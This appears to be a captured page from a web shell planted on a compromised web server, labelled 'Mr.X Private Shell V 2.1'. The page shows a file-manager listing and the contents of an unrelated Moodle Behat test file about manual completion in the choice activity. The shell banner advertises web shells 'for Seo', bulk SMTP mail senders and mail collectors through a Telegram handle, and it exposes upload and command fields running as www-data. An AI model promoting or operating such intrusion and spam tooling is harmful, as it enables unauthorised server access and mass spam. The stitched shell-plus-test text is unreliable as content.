__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_choice @core_completion
Feature: Manual completion in the choice activity
  To avoid navigating from the choice activity to the course homepage to mark the choice activity as complete
  As a student
  I need to be able to mark the choice activity as complete within the choice activity itself

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                 |
      | teacher1 | Teacher   | 1        | teacher1@example.com  |
      | student1 | Student   | 1        | student1@example.com  |
    And the following "course" exists:
      | fullname          | Course 1  |
      | shortname         | C1        |
      | category          | 0         |
      | enablecompletion  | 1         |
    And the following "activity" exists:
      | activity    | choice                  |
      | name        | What to drink?          |
      | intro       | Friday drinks, anyone?  |
      | course      | C1                      |
      | idnumber    | choice1                 |
      | completion  | 1                       |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | student1 | C1     | student        |
      | teacher1 | C1     | editingteacher |

  @javascript
  Scenario: Toggle manual completion as a student
    Given I am on the "What to drink?" "choice activity" page logged in as student1
    And the manual completion button of "What to drink?" is displayed as "Mark as done"
    When I toggle the manual completion state of "What to drink?"
    Then the manual completion button of "What to drink?" is displayed as "Done"
    But "Mark as done" "button" should not exist
    # Just make sure that the change persisted.
    And I reload the page
    And I wait until the page is ready
    And I should not see "Mark as done"
    And the manual completion button of "What to drink?" is displayed as "Done"
    And I toggle the manual completion state of "What to drink?"
    And the manual completion button of "What to drink?" is displayed as "Mark as done"
    But "Done" "button" should not exist
    # Just make sure that the change persisted.
    And I reload the page
    And the manual completion button of "What to drink?" is displayed as "Mark as done"
    But "Done" "button" should not exist

  Scenario: Viewing a choice activity with manual completion as a teacher
    When I am on the "What to drink?" "choice activity" page logged in as teacher1
    Then the manual completion button for "What to drink?" should be disabled

  @javascript
  Scenario: Overriding a manual choice completion for a user to done
    Given I am on the "Course 1" course page logged in as teacher1
    And I navigate to "Reports" in current page administration
    And I click on "Activity completion" "link"
    And I click on "Student 1, What to drink?: Not completed" "link"
    And I press "Save changes"
    And I log out
    When I am on the "What to drink?" "choice activity" page logged in as student1
    Then the manual completion button of "What to drink?" overridden by "Teacher 1" is displayed as "Done"
    And I toggle the manual completion state of "What to drink?"
    And the manual completion button of "What to drink?" is displayed as "Mark as done"

  @javascript
  Scenario: Overriding a manual choice completion for a user to not done
    Given I am on the "What to drink?" "choice activity" page logged in as student1
    And I press "Mark as done"
    And I wait until the page is ready
    And I log out
    And I am on the "Course 1" course page logged in as teacher1
    And I navigate to "Reports" in current page administration
    And I click on "Activity completion" "link"
    And I click on "Student 1, What to drink?: Completed" "link"
    And I press "Save changes"
    And I log out
    Given I am on the "What to drink?" "choice activity" page logged in as student1
    Then the manual completion button of "What to drink?" overridden by "Teacher 1" is displayed as "Mark as done"
    And I toggle the manual completion state of "What to drink?"
    And the manual completion button of "What to drink?" is displayed as "Done"

Filemanager

Name Type Size Permission Actions
activity_info_completion_automatic.feature File 2.86 KB 0777
activity_info_completion_manual.feature File 4.08 KB 0777
add_choice.feature File 1.17 KB 0777
allow_preview.feature File 2 KB 0777
behat_mod_choice.php File 3.22 KB 0777
block_editing.feature File 4.71 KB 0777
change_response.feature File 2.34 KB 0777
choice_availability.feature File 4.49 KB 0777
choice_no_calendar_capabilities.feature File 2.05 KB 0777
group_mode.feature File 3.07 KB 0777
include_inactive.feature File 5.7 KB 0777
limit_responses.feature File 2.54 KB 0777
modify_choice.feature File 5.85 KB 0777
multiple_options.feature File 3.93 KB 0777
my_home.feature File 2.16 KB 0777
publish_info.feature File 6.03 KB 0777
publish_results.feature File 5.13 KB 0777
publish_results_anonymously.feature File 2.86 KB 0777
remove_choice_options.feature File 1.94 KB 0777
Filemanager